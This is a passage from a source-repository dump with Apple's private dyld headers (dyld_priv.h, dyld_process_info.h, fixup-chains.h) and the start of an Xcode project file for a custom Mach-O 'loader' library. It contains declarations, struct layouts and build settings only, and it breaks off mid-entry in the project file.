// 446 | // DriverKit main executables do not have an LC_MAIN. Instead DriverKit.framework's initializer calls 447 | // _dyld_register_driverkit_main() with a function pointer that dyld should call into instead 448 | // of using LC_MAIN. 449 | // 450 | extern void _dyld_register_driverkit_main(void (*mainFunc)(void)); 451 | 452 | 453 | // 454 | // This is similar to _dyld_shared_cache_contains_path(), except that it returns the canonical 455 | // shared cache path for the given path. 456 | // 457 | // Exists in macOS 10.16 and later 458 | // Exists in iOS 14.0 and later 459 | extern const char* _dyld_shared_cache_real_path(const char* path); 460 | 461 | 462 | // 463 | // Dyld has a number of modes. This function returns the mode for the current process. 464 | // dyld2 is the classic "interpreter" way to run. 465 | // dyld3 runs by compiling down and caching what dyld needs to do into a "closure". 466 | // 467 | // Exists in macOS 10.16 and later 468 | // Exists in iOS 14.0 and later 469 | // 470 | #define DYLD_LAUNCH_MODE_USING_CLOSURE 0x00000001 // if 0, then running in classic dyld2 mode 471 | #define DYLD_LAUNCH_MODE_BUILT_CLOSURE_AT_LAUNCH 0x00000002 // launch was slow, to build closure 472 | #define DYLD_LAUNCH_MODE_CLOSURE_SAVED_TO_FILE 0x00000004 // next launch will be faster 473 | #define DYLD_LAUNCH_MODE_CLOSURE_FROM_OS 0x00000008 // closure built into dyld cache 474 | #define DYLD_LAUNCH_MODE_MINIMAL_CLOSURE 0x00000010 // closure does not contain fix ups 475 | extern uint32_t _dyld_launch_mode(void); 476 | 477 | 478 | // 479 | // When dyld must terminate a process because of a required dependent dylib 480 | // could not be loaded or a symbol is missing, dyld calls abort_with_reason() 481 | // using one of the following error codes. 482 | // 483 | #define DYLD_EXIT_REASON_DYLIB_MISSING 1 484 | #define DYLD_EXIT_REASON_DYLIB_WRONG_ARCH 2 485 | #define DYLD_EXIT_REASON_DYLIB_WRONG_VERSION 3 486 | #define DYLD_EXIT_REASON_SYMBOL_MISSING 4 487 | #define DYLD_EXIT_REASON_CODE_SIGNATURE 5 488 | #define DYLD_EXIT_REASON_FILE_SYSTEM_SANDBOX 6 489 | #define DYLD_EXIT_REASON_MALFORMED_MACHO 7 490 | #define DYLD_EXIT_REASON_OTHER 9 491 | 492 | // 493 | // When it has more information about the termination, dyld will use abort_with_payload(). 494 | // The payload is a dyld_abort_payload structure. The fixed fields are offsets into the 495 | // payload for the corresponding string. If the offset is zero, that string is not available. 496 | // 497 | struct dyld_abort_payload { 498 | uint32_t version; // first version is 1 499 | uint32_t flags; // 0x00000001 means dyld terminated at launch, backtrace not useful 500 | uint32_t targetDylibPathOffset; // offset in payload of path string to dylib that could not be loaded 501 | uint32_t clientPathOffset; // offset in payload of path string to image requesting dylib 502 | uint32_t symbolOffset; // offset in payload of symbol string that could not be found 503 | // string data 504 | }; 505 | typedef struct dyld_abort_payload dyld_abort_payload; 506 | 507 | 508 | // These global variables are implemented in libdyld.dylib 509 | // Old programs that used crt1.o also defined these globals. 510 | // The ones in dyld are not used when an old program is run. 511 | extern int NXArgc; 512 | extern const char** NXArgv; 513 | extern char** environ; // POSIX says this not const, because it pre-dates const 514 | extern const char* __progname; 515 | 516 | 517 | // called by libSystem_initializer only 518 | extern void _dyld_initializer(void); 519 | 520 | // never called from source code. Used by static linker to implement lazy binding 521 | extern void dyld_stub_binder(void) __asm__("dyld_stub_binder"); 522 | 523 | // never call from source code. Used by closure builder to bind missing lazy symbols to 524 | extern void _dyld_missing_symbol_abort(void); 525 | 526 | // Called only by objc to see if dyld has uniqued this selector. 527 | // Returns the value if dyld has uniqued it, or nullptr if it has not. 528 | // Note, this function must be called after _dyld_objc_notify_register. 529 | // 530 | // Exists in Mac OS X 10.15 and later 531 | // Exists in iOS 13.0 and later 532 | extern const char* _dyld_get_objc_selector(const char* selName); 533 | 534 | 535 | // Called only by objc to see if dyld has pre-optimized classes with this name. 536 | // The callback will be called once for each class with the given name where 537 | // isLoaded is true if that class is in a binary which has been previously passed 538 | // to the objc load notifier. 539 | // Note you can set stop to true to stop iterating. 540 | // Also note, this function must be called after _dyld_objc_notify_register. 541 | // 542 | // Exists in Mac OS X 10.15 and later 543 | // Exists in iOS 13.0 and later 544 | extern void _dyld_for_each_objc_class(const char* className, 545 | void (^callback)(void* classPtr, bool isLoaded, bool* stop)); 546 | 547 | 548 | // Called only by objc to see if dyld has pre-optimized protocols with this name. 549 | // The callback will be called once for each protocol with the given name where 550 | // isLoaded is true if that protocol is in a binary which has been previously passed 551 | // to the objc load notifier. 552 | // Note you can set stop to true to stop iterating. 553 | // Also note, this function must be called after _dyld_objc_notify_register. 554 | // 555 | // Exists in Mac OS X 10.15 and later 556 | // Exists in iOS 13.0 and later 557 | extern void _dyld_for_each_objc_protocol(const char* protocolName, 558 | void (^callback)(void* protocolPtr, bool isLoaded, bool* stop)); 559 | 560 | 561 | // called by exit() before it calls cxa_finalize() so that thread_local 562 | // objects are destroyed before global objects. 563 | extern void _tlv_exit(void); 564 | 565 | typedef enum { 566 | dyld_objc_string_kind 567 | } DyldObjCConstantKind; 568 | 569 | // CF constants such as CFString's can be moved in to a contiguous range of 570 | // shared cache memory. This returns true if the given pointer is to an object of 571 | // the given kind. 572 | // 573 | // Exists in Mac OS X 10.16 and later 574 | // Exists in iOS 14.0 and later 575 | extern bool _dyld_is_objc_constant(DyldObjCConstantKind kind, const void* addr); 576 | 577 | 578 | // temp exports to keep tapi happy, until ASan stops using dyldVersionNumber 579 | extern double dyldVersionNumber; 580 | extern const char* dyldVersionString; 581 | 582 | #if __cplusplus 583 | } 584 | #endif /* __cplusplus */ 585 | 586 | #endif /* _MACH_O_DYLD_PRIV_H_ */ 587 | -------------------------------------------------------------------------------- /loader/include/mach-o/dyld_process_info.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016 Apple Inc. All rights reserved. 3 | * 4 | * @APPLE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. Please obtain a copy of the License at 10 | * http://www.opensource.apple.com/apsl/ and read it before using this 11 | * file. 12 | * 13 | * The Original Code and all software distributed under the License are 14 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 15 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 16 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 17 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 18 | * Please see the License for the specific language governing rights and 19 | * limitations under the License. 20 | * 21 | * @APPLE_LICENSE_HEADER_END@ 22 | */ 23 | #ifndef _DYLD_PROCESS_INFO_ 24 | #define _DYLD_PROCESS_INFO_ 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | //FIXME we should include dyld_priv.h, but we need to do this to workaround a header search path bug in tapi 33 | typedef uint32_t dyld_platform_t; 34 | 35 | #ifdef __cplusplus 36 | extern "C" { 37 | #endif 38 | 39 | // 40 | // Beginning in iOS 10.0 and Mac OS X 10.12, this is how lldb figures out mach-o binaries are in a process: 41 | // 42 | // When attaching to an existing process, lldb uses _dyld_process_info_create() to get the current list of images 43 | // in a process, then falls into the start up case. 44 | // 45 | // When starting a process, lldb starts the process suspended, finds the "_dyld_debugger_notification" symbol in 46 | // dyld, sets a break point on it, then resumes the process. Dyld will call _dyld_debugger_notification() with 47 | // a list of images that were just added or removed from the process. Dyld calls this function before running 48 | // any initializers in the image, so the debugger will have a chance to set break points in the image. 49 | // 50 | // 51 | 52 | enum dyld_notify_mode { dyld_notify_adding=0, dyld_notify_removing=1, dyld_notify_remove_all=2 }; 53 | // void _dyld_debugger_notification(enum dyld_notify_mode, unsigned long count, uint64_t machHeaders[]); 54 | 55 | 56 | 57 | struct dyld_process_cache_info { 58 | uuid_t cacheUUID; // UUID of cache used by process 59 | uint64_t cacheBaseAddress; // load address of dyld shared cache 60 | bool noCache; // process is running without a dyld cache 61 | bool privateCache; // process is using a private copy of its dyld cache 62 | }; 63 | typedef struct dyld_process_cache_info dyld_process_cache_info; 64 | 65 | struct dyld_process_aot_cache_info { 66 | uuid_t cacheUUID; 67 | uint64_t cacheBaseAddress; 68 | }; 69 | typedef struct dyld_process_aot_cache_info dyld_process_aot_cache_info; 70 | 71 | enum { 72 | dyld_process_state_not_started = 0x00, // process is suspended, dyld has not started running yet 73 | dyld_process_state_dyld_initialized = 0x10, // dyld has initialzed itself 74 | dyld_process_state_terminated_before_inits = 0x20, // process was terminated due missing library or symbol before it got to main() 75 | dyld_process_state_libSystem_initialized = 0x30, // dyld has run libSystem's initializer 76 | dyld_process_state_running_initializers = 0x40, // dyld is running other initializers 77 | dyld_process_state_program_running = 0x50, // dyld has finished and jumped into main() 78 | dyld_process_state_dyld_terminated = 0x60 // process was terminated by dyld post-main (e.g. bad lazying binding info) 79 | }; 80 | 81 | struct dyld_process_state_info { 82 | uint64_t timestamp; // mach_absolute_time of last time dyld change to image list 83 | uint32_t imageCount; // number of images currently loaded into process 84 | uint32_t initialImageCount; // number of images statically loaded into process (before any dlopen() calls) 85 | uint8_t dyldState; // one of dyld_process_state_* values 86 | }; 87 | typedef struct dyld_process_state_info dyld_process_state_info; 88 | 89 | 90 | typedef const struct dyld_process_info_base* dyld_process_info; 91 | 92 | // 93 | // Generate a dyld_process_info object for specified task. 94 | // 95 | // The timestamp parameter is an optimization to not spend the time to gather all the image information 96 | // if the process image list has not changed since the last call. If timestamp is zero, this function 97 | // always gathers the full process info. If timestamp is non-zero, this function will check if the target 98 | // task's image list has changed since that time. If is has not changed, the function returns NULL and 99 | // kern_return_t is KERN_SUCCESS. If it has changed, the function gathers the full image info. 100 | // The kernelError parameter can be NULL for clients that don't care why it failed. 101 | // 102 | extern dyld_process_info _dyld_process_info_create(task_t task, uint64_t timestamp, kern_return_t* kernelError); 103 | 104 | // retain/release dyld_process_info for specified task 105 | extern void _dyld_process_info_release(dyld_process_info info); 106 | extern void _dyld_process_info_retain(dyld_process_info info); 107 | 108 | // fill in struct with basic info about dyld in the process 109 | extern void _dyld_process_info_get_state(dyld_process_info info, dyld_process_state_info* stateInfo); 110 | 111 | // fill in struct with info about dyld cache in use by process 112 | extern void _dyld_process_info_get_cache(dyld_process_info info, dyld_process_cache_info* cacheInfo); 113 | 114 | // fill in struct with info about aot cache in use by process 115 | extern void _dyld_process_info_get_aot_cache(dyld_process_info info, dyld_process_aot_cache_info* aotCacheInfo); 116 | 117 | // iterate all images in process 118 | extern void _dyld_process_info_for_each_image(dyld_process_info info, void (^callback)(uint64_t machHeaderAddress, const uuid_t uuid, const char* path)); 119 | 120 | // iterate all aot images in process 121 | extern void _dyld_process_info_for_each_aot_image(dyld_process_info info, bool (^callback)(uint64_t x86Address, uint64_t aotAddress, uint64_t aotSize, uint8_t* aotImageKey, size_t aotImageKeySize)) __API_UNAVAILABLE(ios, tvos, watchos) ; 122 | 123 | // iterate all segments in an image 124 | extern void _dyld_process_info_for_each_segment(dyld_process_info info, uint64_t machHeaderAddress, void (^callback)(uint64_t segmentAddress, uint64_t segmentSize, const char* segmentName)); 125 | 126 | // returns 0 if the platform cannot be determined, otherwise returns the platform of the remote process 127 | extern dyld_platform_t _dyld_process_info_get_platform(dyld_process_info info) SPI_AVAILABLE(macos(10.15), ios(13.0), tvos(13.0), watchos(6.0), bridgeos(4.0)); 128 | 129 | typedef const struct dyld_process_info_notify_base* dyld_process_info_notify; 130 | 131 | // 132 | // Request notifications if image list changes in target process. Each time a load or unload happens in the target taks, 133 | // the notify block will be called in this process. If the process exits, the notifyExit block will be called. 134 | // If the notifications cannot be set up, this function will return NULL, and the reason in the kernError parameter. 135 | // The kernelError parameter can be NULL for clients that don't care why it failed. 136 | // If you want to stop receiving notifications, call _dyld_process_info_notify_release(). 137 | // 138 | extern dyld_process_info_notify _dyld_process_info_notify(task_t task, dispatch_queue_t queue, 139 | void (^notify)(bool unload, uint64_t timestamp, uint64_t machHeader, const uuid_t uuid, const char* path), 140 | void (^notifyExit)(void), 141 | kern_return_t* kernelError); 142 | // add block to call right before main() is entered. 143 | // does nothing if process is already in main(). 144 | extern void _dyld_process_info_notify_main(dyld_process_info_notify objc, void (^notifyMain)(void)); 145 | 146 | 147 | // stop notifications and invalid dyld_process_info_notify object 148 | extern void _dyld_process_info_notify_release(dyld_process_info_notify object); 149 | extern void _dyld_process_info_notify_retain(dyld_process_info_notify object); 150 | 151 | 152 | #ifdef __cplusplus 153 | } 154 | #endif 155 | 156 | #endif /* _DYLD_PROCESS_INFO_ */ 157 | -------------------------------------------------------------------------------- /loader/include/mach-o/fixup-chains.h: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2018 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | #ifndef __MACH_O_FIXUP_CHAINS__ 26 | #define __MACH_O_FIXUP_CHAINS__ 6 27 | 28 | 29 | #include 30 | 31 | 32 | //#define LC_DYLD_EXPORTS_TRIE 0x80000033 // used with linkedit_data_command 33 | //#define LC_DYLD_CHAINED_FIXUPS 0x80000034 // used with linkedit_data_command, payload is dyld_chained_fixups_header 34 | 35 | 36 | // header of the LC_DYLD_CHAINED_FIXUPS payload 37 | struct dyld_chained_fixups_header 38 | { 39 | uint32_t fixups_version; // 0 40 | uint32_t starts_offset; // offset of dyld_chained_starts_in_image in chain_data 41 | uint32_t imports_offset; // offset of imports table in chain_data 42 | uint32_t symbols_offset; // offset of symbol strings in chain_data 43 | uint32_t imports_count; // number of imported symbol names 44 | uint32_t imports_format; // DYLD_CHAINED_IMPORT* 45 | uint32_t symbols_format; // 0 => uncompressed, 1 => zlib compressed 46 | }; 47 | 48 | // This struct is embedded in LC_DYLD_CHAINED_FIXUPS payload 49 | struct dyld_chained_starts_in_image 50 | { 51 | uint32_t seg_count; 52 | uint32_t seg_info_offset[1]; // each entry is offset into this struct for that segment 53 | // followed by pool of dyld_chain_starts_in_segment data 54 | }; 55 | 56 | // This struct is embedded in dyld_chain_starts_in_image 57 | // and passed down to the kernel for page-in linking 58 | struct dyld_chained_starts_in_segment 59 | { 60 | uint32_t size; // size of this (amount kernel needs to copy) 61 | uint16_t page_size; // 0x1000 or 0x4000 62 | uint16_t pointer_format; // DYLD_CHAINED_PTR_* 63 | uint64_t segment_offset; // offset in memory to start of segment 64 | uint32_t max_valid_pointer; // for 32-bit OS, any value beyond this is not a pointer 65 | uint16_t page_count; // how many pages are in array 66 | uint16_t page_start[1]; // each entry is offset in each page of first element in chain 67 | // or DYLD_CHAINED_PTR_START_NONE if no fixups on page 68 | // uint16_t chain_starts[1]; // some 32-bit formats may require multiple starts per page. 69 | // for those, if high bit is set in page_starts[], then it 70 | // is index into chain_starts[] which is a list of starts 71 | // the last of which has the high bit set 72 | }; 73 | 74 | enum { 75 | DYLD_CHAINED_PTR_START_NONE = 0xFFFF, // used in page_start[] to denote a page with no fixups 76 | DYLD_CHAINED_PTR_START_MULTI = 0x8000, // used in page_start[] to denote a page which has multiple starts 77 | DYLD_CHAINED_PTR_START_LAST = 0x8000, // used in chain_starts[] to denote last start in list for page 78 | }; 79 | 80 | // This struct is embedded in __TEXT,__chain_starts section in firmware 81 | struct dyld_chained_starts_offsets 82 | { 83 | uint32_t pointer_format; // DYLD_CHAINED_PTR_32_FIRMWARE 84 | uint32_t starts_count; // number of starts in array 85 | uint32_t chain_starts[1]; // array chain start offsets 86 | }; 87 | 88 | 89 | // values for dyld_chained_starts_in_segment.pointer_format 90 | enum { 91 | DYLD_CHAINED_PTR_ARM64E = 1, // stride 8, unauth target is vmaddr 92 | DYLD_CHAINED_PTR_64 = 2, // target is vmaddr 93 | DYLD_CHAINED_PTR_32 = 3, 94 | DYLD_CHAINED_PTR_32_CACHE = 4, 95 | DYLD_CHAINED_PTR_32_FIRMWARE = 5, 96 | DYLD_CHAINED_PTR_64_OFFSET = 6, // target is vm offset 97 | DYLD_CHAINED_PTR_ARM64E_OFFSET = 7, // old name 98 | DYLD_CHAINED_PTR_ARM64E_KERNEL = 7, // stride 4, unauth target is vm offset 99 | DYLD_CHAINED_PTR_64_KERNEL_CACHE = 8, 100 | DYLD_CHAINED_PTR_ARM64E_USERLAND = 9, // stride 8, unauth target is vm offset 101 | DYLD_CHAINED_PTR_ARM64E_FIRMWARE = 10, // stride 4, unauth target is vmaddr 102 | DYLD_CHAINED_PTR_X86_64_KERNEL_CACHE = 11, // stride 1, x86_64 kernel caches 103 | DYLD_CHAINED_PTR_ARM64E_USERLAND24 = 12, // stride 8, unauth target is vm offset, 24-bit bind 104 | }; 105 | 106 | // DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE 107 | struct dyld_chained_ptr_arm64e_shared_cache_rebase 108 | { 109 | uint64_t runtimeOffset : 34, // offset from the start of the shared cache 110 | high8 : 8, 111 | unused : 10, 112 | next : 11, // 8-byte stide 113 | auth : 1; // == 0 114 | }; 115 | 116 | // DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE 117 | struct dyld_chained_ptr_arm64e_shared_cache_auth_rebase 118 | { 119 | uint64_t runtimeOffset : 34, // offset from the start of the shared cache 120 | diversity : 16, 121 | addrDiv : 1, 122 | keyIsData : 1, // implicitly always the 'A' key. 0 -> IA. 1 -> DA 123 | next : 11, // 8-byte stide 124 | auth : 1; // == 1 125 | }; 126 | 127 | 128 | // DYLD_CHAINED_PTR_ARM64E 129 | struct dyld_chained_ptr_arm64e_rebase 130 | { 131 | uint64_t target : 43, 132 | high8 : 8, 133 | next : 11, // 4 or 8-byte stide 134 | bind : 1, // == 0 135 | auth : 1; // == 0 136 | }; 137 | 138 | // DYLD_CHAINED_PTR_ARM64E 139 | struct dyld_chained_ptr_arm64e_bind 140 | { 141 | uint64_t ordinal : 16, 142 | zero : 16, 143 | addend : 19, // +/-256K 144 | next : 11, // 4 or 8-byte stide 145 | bind : 1, // == 1 146 | auth : 1; // == 0 147 | }; 148 | 149 | // DYLD_CHAINED_PTR_ARM64E 150 | struct dyld_chained_ptr_arm64e_auth_rebase 151 | { 152 | uint64_t target : 32, // runtimeOffset 153 | diversity : 16, 154 | addrDiv : 1, 155 | key : 2, 156 | next : 11, // 4 or 8-byte stide 157 | bind : 1, // == 0 158 | auth : 1; // == 1 159 | }; 160 | 161 | // DYLD_CHAINED_PTR_ARM64E 162 | struct dyld_chained_ptr_arm64e_auth_bind 163 | { 164 | uint64_t ordinal : 16, 165 | zero : 16, 166 | diversity : 16, 167 | addrDiv : 1, 168 | key : 2, 169 | next : 11, // 4 or 8-byte stide 170 | bind : 1, // == 1 171 | auth : 1; // == 1 172 | }; 173 | 174 | // DYLD_CHAINED_PTR_64/DYLD_CHAINED_PTR_64_OFFSET 175 | struct dyld_chained_ptr_64_rebase 176 | { 177 | uint64_t target : 36, // 64GB max image size (DYLD_CHAINED_PTR_64 => vmAddr, DYLD_CHAINED_PTR_64_OFFSET => runtimeOffset) 178 | high8 : 8, // top 8 bits set to this (DYLD_CHAINED_PTR_64 => after slide added, DYLD_CHAINED_PTR_64_OFFSET => before slide added) 179 | reserved : 7, // all zeros 180 | next : 12, // 4-byte stride 181 | bind : 1; // == 0 182 | }; 183 | 184 | 185 | // DYLD_CHAINED_PTR_ARM64E_USERLAND24 186 | struct dyld_chained_ptr_arm64e_bind24 187 | { 188 | uint64_t ordinal : 24, 189 | zero : 8, 190 | addend : 19, // +/-256K 191 | next : 11, // 8-byte stide 192 | bind : 1, // == 1 193 | auth : 1; // == 0 194 | }; 195 | 196 | // DYLD_CHAINED_PTR_ARM64E_USERLAND24 197 | struct dyld_chained_ptr_arm64e_auth_bind24 198 | { 199 | uint64_t ordinal : 24, 200 | zero : 8, 201 | diversity : 16, 202 | addrDiv : 1, 203 | key : 2, 204 | next : 11, // 8-byte stide 205 | bind : 1, // == 1 206 | auth : 1; // == 1 207 | }; 208 | 209 | 210 | // DYLD_CHAINED_PTR_64 211 | struct dyld_chained_ptr_64_bind 212 | { 213 | uint64_t ordinal : 24, 214 | addend : 8, // 0 thru 255 215 | reserved : 19, // all zeros 216 | next : 12, // 4-byte stride 217 | bind : 1; // == 1 218 | }; 219 | 220 | // DYLD_CHAINED_PTR_64_KERNEL_CACHE, DYLD_CHAINED_PTR_X86_64_KERNEL_CACHE 221 | struct dyld_chained_ptr_64_kernel_cache_rebase 222 | { 223 | uint64_t target : 30, // basePointers[cacheLevel] + target 224 | cacheLevel : 2, // what level of cache to bind to (indexes a mach_header array) 225 | diversity : 16, 226 | addrDiv : 1, 227 | key : 2, 228 | next : 12, // 1 or 4-byte stide 229 | isAuth : 1; // 0 -> not authenticated. 1 -> authenticated 230 | }; 231 | 232 | // DYLD_CHAINED_PTR_32 233 | // Note: for DYLD_CHAINED_PTR_32 some non-pointer values are co-opted into the chain 234 | // as out of range rebases. If an entry in the chain is > max_valid_pointer, then it 235 | // is not a pointer. To restore the value, subtract off the bias, which is 236 | // (64MB+max_valid_pointer)/2. 237 | struct dyld_chained_ptr_32_rebase 238 | { 239 | uint32_t target : 26, // vmaddr, 64MB max image size 240 | next : 5, // 4-byte stride 241 | bind : 1; // == 0 242 | }; 243 | 244 | // DYLD_CHAINED_PTR_32 245 | struct dyld_chained_ptr_32_bind 246 | { 247 | uint32_t ordinal : 20, 248 | addend : 6, // 0 thru 63 249 | next : 5, // 4-byte stride 250 | bind : 1; // == 1 251 | }; 252 | 253 | // DYLD_CHAINED_PTR_32_CACHE 254 | struct dyld_chained_ptr_32_cache_rebase 255 | { 256 | uint32_t target : 30, // 1GB max dyld cache TEXT and DATA 257 | next : 2; // 4-byte stride 258 | }; 259 | 260 | 261 | // DYLD_CHAINED_PTR_32_FIRMWARE 262 | struct dyld_chained_ptr_32_firmware_rebase 263 | { 264 | uint32_t target : 26, // 64MB max firmware TEXT and DATA 265 | next : 6; // 4-byte stride 266 | }; 267 | 268 | 269 | 270 | // values for dyld_chained_fixups_header.imports_format 271 | enum { 272 | DYLD_CHAINED_IMPORT = 1, 273 | DYLD_CHAINED_IMPORT_ADDEND = 2, 274 | DYLD_CHAINED_IMPORT_ADDEND64 = 3, 275 | }; 276 | 277 | // DYLD_CHAINED_IMPORT 278 | struct dyld_chained_import 279 | { 280 | uint32_t lib_ordinal : 8, 281 | weak_import : 1, 282 | name_offset : 23; 283 | }; 284 | 285 | // DYLD_CHAINED_IMPORT_ADDEND 286 | struct dyld_chained_import_addend 287 | { 288 | uint32_t lib_ordinal : 8, 289 | weak_import : 1, 290 | name_offset : 23; 291 | int32_t addend; 292 | }; 293 | 294 | // DYLD_CHAINED_IMPORT_ADDEND64 295 | struct dyld_chained_import_addend64 296 | { 297 | uint64_t lib_ordinal : 16, 298 | weak_import : 1, 299 | reserved : 15, 300 | name_offset : 32; 301 | uint64_t addend; 302 | }; 303 | 304 | #endif // __MACH_O_FIXUP_CHAINS__ 305 | 306 | -------------------------------------------------------------------------------- /loader/loader.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 56; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | CDA541702D10C10A00E7990C /* dyld_stubs.cpp in Sources */ = {isa = PBXBuildFile; fileRef = CDEDEC3F2C702BD90041D7B8 /* dyld_stubs.cpp */; }; 11 | CDA541712D10C10A00E7990C /* ImageLoader.cpp in Sources */ = {isa = PBXBuildFile; fileRef = CDEDEC412C702BD90041D7B8 /* ImageLoader.cpp */; }; 12 | CDA541722D10C10A00E7990C /* ImageLoaderMachO.cpp in Sources */ = {isa = PBXBuildFile; fileRef = CDEDEC432C702BD90041D7B8 /* ImageLoaderMachO.cpp */; }; 13 | CDA541732D10C10A00E7990C /* ImageLoaderMachOCompressed.cpp in Sources */ = {isa = PBXBuildFile; fileRef = CDEDEC452C702BD90041D7B8 /* ImageLoaderMachOCompressed.cpp */; }; 14 | CDA541742D10C10A00E7990C /* ImageLoaderProxy.cpp in Sources */ = {isa = PBXBuildFile; fileRef = CDEDEC472C702BD90041D7B8 /* ImageLoaderProxy.cpp */; }; 15 | CDA541752D10C10A00E7990C /* custom_dlfcn.cpp in Sources */ = {isa = PBXBuildFile; fileRef = CDEDEC3E2C702BD90041D7B8 /* custom_dlfcn.cpp */; }; 16 | CDA541762D10C17D00E7990C /* dyld_stubs.h in Headers */ = {isa = PBXBuildFile; fileRef = CDEDEC402C702BD90041D7B8 /* dyld_stubs.h */; settings = {ATTRIBUTES = (Public, ); }; }; 17 | CDA541772D10C17F00E7990C /* ImageLoader.h in Headers */ = {isa = PBXBuildFile; fileRef = CDEDEC422C702BD90041D7B8 /* ImageLoader.h */; settings = {ATTRIBUTES = (Public, ); }; }; 18 | CDA541782D10C18100E7990C /* ImageLoaderMachO.h in Headers */ = {isa = PBXBuildFile; fileRef = CDEDEC442C702BD90041D7B8 /* ImageLoaderMachO.h */; settings = {ATTRIBUTES = (Public, ); }; }; 19 | CDA541792D10C18400E7990C /* ImageLoaderMachOCompressed.h in Headers */ = {isa = PBXBuildFile; fileRef = CDEDEC462C702BD90041D7B8 /* ImageLoaderMachOCompressed.h */; settings = {ATTRIBUTES = (Public, ); }; }; 20 | CDA5417A2D10C18600E7990C /* ImageLoaderProxy.h in Headers */ = {isa = PBXBuildFile; fileRef = CDEDEC482C702BD90041D7B8 /* ImageLoaderProxy.h */; settings = {ATTRIBUTES = (Public, ); }; }; 21 | CDA5417B2D10C18900E7990C /* Array.h in Headers */ = {isa = PBXBuildFile; fileRef = CDEDEC3D2C702BD90041D7B8 /* Array.h */; settings = {ATTRIBUTES = (Public, ); }; }; 22 | CDA5417C2D10C18B00E7990C /* Map.h in Headers */ = {isa = PBXBuildFile; fileRef = CDEDEC492C702BD90041D7B8 /* Map.h */; settings = {ATTRIBUTES = (Public, ); }; }; 23 | CDA5417D2D10C19000E7990C /* Tracing.h in Headers */ = {isa = PBXBuildFile; fileRef = CDEDEC4A2C702BD90041D7B8 /* Tracing.h */; settings = {ATTRIBUTES = (Public, ); }; }; 24 | /* End PBXBuildFile section */ 25 | 26 | /* Begin PBXFileReference section */ 27 | CDA541B02D10C52300E7990C /* libloader.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libloader.a; sourceTree = ""; }; 28 | CDEDEC312C702BB50041D7B8 /* libloader.dylib */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.dylib"; includeInIndex = 0; path = libloader.dylib; sourceTree = BUILT_PRODUCTS_DIR; }; 29 | CDEDEC3D2C702BD90041D7B8 /* Array.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = Array.h; sourceTree = ""; }; 30 | CDEDEC3E2C702BD90041D7B8 /* custom_dlfcn.cpp */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.cpp; path = custom_dlfcn.cpp; sourceTree = ""; }; 31 | CDEDEC3F2C702BD90041D7B8 /* dyld_stubs.cpp */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.cpp; path = dyld_stubs.cpp; sourceTree = ""; }; 32 | CDEDEC402C702BD90041D7B8 /* dyld_stubs.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = dyld_stubs.h; sourceTree = ""; }; 33 | CDEDEC412C702BD90041D7B8 /* ImageLoader.cpp */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.cpp; path = ImageLoader.cpp; sourceTree = ""; }; 34 | CDEDEC422C702BD90041D7B8 /* ImageLoader.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ImageLoader.h; sourceTree = ""; }; 35 | CDEDEC432C702BD90041D7B8 /* ImageLoaderMachO.cpp */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.cpp; path = ImageLoaderMachO.cpp; sourceTree = ""; }; 36 | CDEDEC442C702BD90041D7B8 /* ImageLoaderMachO.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ImageLoaderMachO.h; sourceTree = ""; }; 37 | CDEDEC452C702BD90041D7B8 /* ImageLoaderMachOCompressed.cpp */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.cpp; path = ImageLoaderMachOCompressed.cpp; sourceTree = ""; }; 38 | CDEDEC462C702BD90041D7B8 /* ImageLoaderMachOCompressed.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ImageLoaderMachOCompressed.h; sourceTree = ""; }; 39 | CDEDEC472C702BD90041D7B8 /* ImageLoaderProxy.cpp */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.cpp.cpp; path = ImageLoaderProxy.cpp; sourceTree = ""; }; 40 | CDEDEC482C702BD90041D7B8 /* ImageLoaderProxy.h */ = 